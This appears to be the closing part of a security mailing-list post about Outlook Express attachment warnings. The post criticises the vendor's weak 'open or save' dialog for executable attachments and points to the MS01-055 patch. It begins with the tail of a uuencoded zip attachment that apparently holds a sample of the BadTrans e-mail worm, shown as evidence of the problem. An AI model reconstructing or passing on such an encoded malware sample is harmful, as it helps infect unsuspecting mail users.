M,]GN7<BBY^WFJ=B+PY75?-##=!CFS=?MH1BZJQ;=9OXP%EMFD9V\'VZ#ET*,R MW*U:/CU.AWNMM=B^W88GM_78\'NVA=\'ZM5K;^;3#LB*\\M_VPY/;E]HT7/&5KM M5UJ\\.F37,;9BZHS.G>E6VCD3L9/0^MI9N)T;E00G6]6VM#5VCGDM\\UMYM>*< M@MJU>%6<\"ZG5B]>=<Q5K0B%[SL,5!D6[YH@[8>)W]DYC)D1%;>(T92$OA)$C MF`(+NQ8+,=0B;8!F4+*U:):/?\"6Q##%?;]78ZLOYI:\"A-9SEKY2VP!?=#:JM MK9%U\'_A:RQJ3^\\37U];$O2]]7;*F^3TIC#GHV\\*ZGVDWL4;D86][NK4[/^;; M7FYEYB.A?=\\Z9H^WHB]:Y]E#W`[6UC5[M+>#MA6;A5/8`TL2BT4!$FW,BFHE M\\H==2\\Z+E`Y#JVT6HN_D5AZ))G5?;2T3I[YW0XU.MZ.-W1?%<S&2;4L3\']2W M[>%9[&Q=:KL[B1;!#/0-=#CTIVM[$TG$7[;L/ZE5_E;[O^:1_H[VWP\':[[__ M@_\\F(/]\'!/\\/4$L!`A0`%`````@`LK1Z*R<[5OQ)*```,%4``!`````````` M`0`@`+:!`````&)A9\'1R86YC96UA;BYE;6Q02P4&``````$``0`^````=R@` #```` ` end This is simple not acceptable. Guaranteed there are generic folk out there who know nothing, and will open that attachment warning out of curiosity, be it that their mail client Outlook Express 5.00 patched, 5.5 patched, 6.00 patched. The current proliferation can surely be based on that [as well]. The warning dialogue is just not good enough for executable file attachments. A clear safety warning must follow the single, simple \'open it\' or \'save it\' flimsy attachment warning. It is grossly unfair to the clientele this vendor caters to and contributes to the destruction of the internet infrastructure as a whole adding to making it unsafe for everyone. Please don\'t sell the nice little children shiny bright toys with toxic parts that fall off that they can swallow and then claim they ought to know better and not put it in their mouths. SOLUTION Microsoft has released a patch, go to http://www.microsoft.com/technet/treeview/default.asp?url=/technet/security/bulletin/ms01-055.asp